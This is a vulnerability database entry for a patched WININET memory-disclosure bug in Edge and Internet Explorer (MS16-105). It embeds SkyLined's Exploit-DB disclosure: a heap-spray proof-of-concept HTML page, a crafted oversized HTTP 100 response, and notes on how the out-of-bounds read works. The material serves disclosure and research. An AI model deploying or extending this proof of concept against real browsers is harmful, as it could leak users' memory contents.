Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-200 |
Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
3.1 |
LOW |
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
2.6 |
|
AV:N/AC:H/Au:N/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 40747
Publication date : 2016-11-09 23h00 +00:00
Author : Skylined
EDB Verified : Yes
<!--
Source: http://blog.skylined.nl/20161110001.html
Synopsis
A specially crafted HTTP response can cause the CHttpHeaderParser::ParseStatusLine method in WININET to read data beyond the end of a buffer. The size of the read can be controlled through the HTTP response. An attacker that is able to get any application that uses WININET to make a request to a server under his/her control may be able to disclose information stored after this memory block. This includes Microsoft Internet Explorer, Microsoft Edge and Microsoft Windows Media Player. As far as I can tell WININET is widely used by Microsoft applications to handle HTTP requests, and probably be all third-party applications that use Windows APIs to make HTTP requests. All these applications may be vulnerable to the issue, though it may be hard to exploit in most (if not all, see below).
Known affected versions, attack vectors and mitigations
WININET.dll
The issue was first discovered in pre-release Windows 10 fbl_release.140912-1613, which contained WININET.DLL version 11.00.9841.0. This vulnerability appears to have been present in all versions of Windows 10 since, up until the issue was addressed in August 2016. No mitigations against the issue are known.
Microsoft Internet Explorer
XMLHttpRequest can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it.
Microsoft Edge
XMLHttpRequest can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it.
Microsoft Windows Media Player
Opening a link to a media file on a malicious server can be used to trigger the issue.
Microsoft has released two bulletins to address this issue, one for Microsoft Internet Explorer and one for Microsoft Edge. I do not know why Microsoft did not mention other applications in their bulletins, nor why they have two fixes for these specific applications, rather than one fix for a component of the Windows Operating System.
One wonders what would happen on a system where you have previously uninstalled both MSIE and Edge: do neither of the fixes apply and will your system be left vulnerable? Let me know if you found out!
Repro
The below repro consists of two parts: an HTML file that constructs an XMLHttpRequest in order to trigger the issue and a raw HTTP response that actually triggers it.
-->
<!DOCTYPE html>
<html>
<head>
<script>
// This PoC attempts to exploit a memory disclosure bug in WININET.dll
// that affects Microsoft Edge and Internet Explorer. However, it fails
// to reveal any information as intended. You might want to use this as
// a starting point for further investigation.
// See http://blog.skylined.nl/20161110001.html for details.
window.onerror = function (a, b, c) {
alert([a,b,c].join("\r\n"));
}
var aauHeap = [];
function spray() {
aauHoles = [];
for (var u = 0; u < 0x10000; u++) {
var auHole = new Uint32Array(0x200 / 4);
aauHoles.push(auHole);
auHole[0] = 0xDEADBEEF;
auHole[1] = 0x0D0A0D0A;
auHole[2] = 0x0;
var auHeap = new Uint32Array(0x200 / 4);
aauHeap.push(auHeap);
auHeap[0] = 0x41424344;
auHeap[1] = 0x0D0A0D0A;
auHeap[2] = 0x0;
}
};
function sendRequest() {
spray();
var oXHR = new XMLHttpRequest();
oXHR.open("GET", "Response.http?" + new Date().valueOf());
oXHR.send();
oXHR.addEventListener("load", function() {
alert("load: " + JSON.stringify(oXHR.status) + " " + JSON.stringify(oXHR.statusText) + "\r\n" +
JSON.stringify(oXHR.responseText));
setTimeout(sendRequest, 1000);
});
oXHR.addEventListener("error", function() {
alert("error: " + JSON.stringify(oXHR.status) + " " + JSON.stringify(oXHR.statusText) + "\r\n" +
JSON.stringify(oXHR.responseText));
setTimeout(sendRequest, 1000);
});
}
sendRequest();
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
</head>
</html>
<!--
Response.http
HTTP/1.1 100 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
HTTP/1.1 200 X
Description
When WININET is processing a HTTP 100 response, it expects another HTTP response to follow. WININET stores all data received from the server into a buffer, uses a variable to store an index into this buffer to track where it is currently processing data, and uses another variable to store the length of the remaining data in the buffer.
When processing the headers of the HTTP 100 request, the code updates the index correctly, but does not decrement the length variable. When the code processes the next request, the length variable is too large, which can cause the code to read beyond the end of the data received from the server. This may cause it to parse data stored in the buffer that was previously received as part of the current HTTP response, and can even cause it to do the same for data read beyond the end of the buffer. This can potentially lead to information disclosure.
The larger the HTTP 100 response is, the more bytes the code reads beyond the end of the data. Here are some example responses and their effect:
"HTTP 100\r\n\r\nX" (12 bytes in HTTP 100 response)
=> read "X" and the next 11 bytes in memory as the next response.
"HTTP 100\r\n\r\nXXXX" (12 bytes in HTTP 100 response)
=> read "XXXX" and the next 8 bytes in memory as the next response.
"HTTP 100XXX\r\n\r\nX" (15 bytes in HTTP 100 response)
=> read "X" and the next 14 bytes in memory as the next response.
"HTTP 100XXX........XXX\r\n\r\nX..." (N bytes in HTTP 100 response)
=> read "X" and the next (N-1) bytes in memory as the next response.
Exploit
This issue is remarkably similar to an issue in HTTP 1xx response handling I found in Google Chrome a while back. That issue allowed disclosure of information from the main process' memory through response headers. I attempted to leak some data using this vulnerability by using the following response:
"HTTP 100XXX........XXX\r\nHTTP 200 X"
I was hoping this would cause the OOB read to save data from beyond the end of the HTTP 200 reponse in the statusText property of the XMLHttpRequest, but I did not immediately see this happen; all I got was "OK" or an empty string.
Unfortunately, I did not have time to reverse the code and investigate further myself. All VCPs I submitted the issue to rejected it because they though it was not practically exploitable.
Time-line
October 2014: This vulnerability was found through fuzzing.
October-November 2014: This vulnerability was submitted to ZDI, iDefense and EIP.
November-December 2014: ZDI, iDefense and EIP all either reject the submission because Windows 10 is in pre-release, or fail to respond.
August 2015: re-submitted to ZDI, iDefense and EIP, since Windows 10 is now in public release.
September-October 2015: ZDI, iDefense and EIP all either reject the submission because they do not consider it practically exploitable, or fail to respond.
June 2016: This vulnerability was reported to Microsoft with a 60-day deadline to address the issue.
September 2016: The vulnerability was address by Microsoft in MS16-105.
November 2016: Details of this issue are released.
-->
Products Mentioned
Configuraton 0
Microsoft>>Edge >> Version -
Microsoft>>Internet_explorer >> Version 11
References
